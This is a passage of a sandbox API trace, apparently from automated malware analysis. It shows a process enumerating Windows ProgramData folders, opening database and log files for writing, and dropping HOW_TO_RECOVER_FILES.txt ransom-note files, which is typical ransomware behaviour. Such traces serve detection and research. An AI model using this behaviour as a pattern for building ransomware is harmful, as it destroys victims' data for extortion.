lpOldMode=0x10f9d70) returned 1 [0145.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0145.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0145.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0145.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0145.548] CloseHandle (hObject=0x7f8) returned 1 [0145.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0145.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0145.550] CloseHandle (hObject=0x7f8) returned 1 [0145.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0145.551] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0145.552] CloseHandle (hObject=0x7f8) returned 1 [0145.552] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0145.552] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0145.552] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0145.552] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0145.552] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0145.552] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0145.552] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0145.552] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0145.552] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0145.552] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0145.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0145.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0145.553] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0145.554] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0145.554] CloseHandle (hObject=0x7f8) returned 1 [0145.554] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0145.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0145.556] CloseHandle (hObject=0x7f8) returned 1 [0145.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0145.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0145.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0145.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0145.557] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0145.557] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0145.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0145.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0145.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0145.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0145.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0145.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0145.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0145.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0145.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0145.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0145.563] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb.log", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb.log", lpFilePart=0x0) returned 0x3b [0145.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0145.563] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb.log" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edb.log"), fInfoLevelId=0x0, lpFileInformation=0x36ef658 | out: lpFileInformation=0x36ef658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd24c5a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dec862e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1b93f8ea, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1 [0145.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0145.563] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb.log", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb.log", lpFilePart=0x0) returned 0x3b [0145.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0145.564] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb.log" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0145.566] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb00002.log", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb00002.log", lpFilePart=0x0) returned 0x40 [0145.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0145.566] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb00002.log" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edb00002.log"), fInfoLevelId=0x0, lpFileInformation=0x36efd90 | out: lpFileInformation=0x36efd90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd24c5a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dd4ae8d, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1b42ee8a, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1 [0145.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0145.566] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb00002.log", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb00002.log", lpFilePart=0x0) returned 0x40 [0145.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0145.566] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb00002.log" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edb00002.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0145.568] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edbtmp.log", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edbtmp.log", lpFilePart=0x0) returned 0x3e [0145.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0145.568] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edbtmp.log" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edbtmp.log"), fInfoLevelId=0x0, lpFileInformation=0x36f05b8 | out: lpFileInformation=0x36f05b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd24c5a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dd24c5a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1deee89a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1 [0145.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0145.568] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edbtmp.log", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edbtmp.log", lpFilePart=0x0) returned 0x3e [0145.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0145.568] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edbtmp.log" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edbtmp.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0145.570] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.db", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.db", lpFilePart=0x0) returned 0x48 [0145.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0145.570] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.db" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\smsinterceptstore.db"), fInfoLevelId=0x0, lpFileInformation=0x36f0d08 | out: lpFileInformation=0x36f0d08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd973cb, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dd973cb, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1b74fcb1, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x30000)) returned 1 [0145.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0145.571] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.db", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.db", lpFilePart=0x0) returned 0x48 [0145.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0145.571] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.db" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\smsinterceptstore.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0146.202] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0146.203] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4c [0146.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0146.203] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0146.204] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f7100) returned 1 [0146.205] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fac20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\SmsRouter\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3f [0146.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0146.205] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0146.207] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f7b30) returned 1 [0146.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0146.268] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Spectrum", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Spectrum", lpFilePart=0x0) returned 0x25 [0146.269] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Spectrum\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe3607ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28b6de71, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0146.269] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe3607ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28b6de71, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.269] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28b6de71, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x28b6de71, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x28b6de71, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0146.269] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0146.269] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0146.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0146.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0146.269] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0146.269] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Spectrum", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Spectrum", lpFilePart=0x0) returned 0x25 [0146.269] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Spectrum\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x28b6de71, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x28b6de71, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0146.270] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x28b6de71, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x28b6de71, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.270] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28b6de71, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x28b6de71, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x28b6de71, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0146.270] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28b6de71, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x28b6de71, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x28b6de71, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0146.270] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0146.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0146.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0146.270] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Spectrum\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fac20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Spectrum\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3e [0146.270] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0146.270] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Spectrum\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\spectrum\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0146.271] GetFileType (hFile=0x630) returned 0x1 [0146.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0146.272] GetFileType (hFile=0x630) returned 0x1 [0146.272] WriteFile (in: hFile=0x630, lpBuffer=0x367eb18*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fb208, lpOverlapped=0x0 | out: lpBuffer=0x367eb18*, lpNumberOfBytesWritten=0x10fb208*=0x5d0, lpOverlapped=0x0) returned 1 [0146.273] CloseHandle (hObject=0x630) returned 1 [0146.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0146.273] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Speech_OneCore", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Speech_OneCore", lpFilePart=0x0) returned 0x2b [0146.273] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Speech_OneCore\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe360d61, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28b6de71, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0146.274] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe360d61, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28b6de71, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.274] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28b6de71, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x28b6de71, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x28b6de71, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0146.274] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0146.274] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0146.274] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0146.274] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0146.274] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0146.274] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Speech_OneCore", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Speech_OneCore", lpFilePart=0x0) returned 0x2b [0146.274] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Speech_OneCore\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x28b6de71, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x28b6de71, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0146.275] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x28b6de71, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x28b6de71, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.275] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28b6de71, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x28b6de71, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x28b6de71, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0146.275] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28b6de71, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x28b6de71, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x28b6de71, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0146.276] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0146.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0146.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0146.276] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Speech_OneCore\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fac20, lpFilePart=0x0 | out: 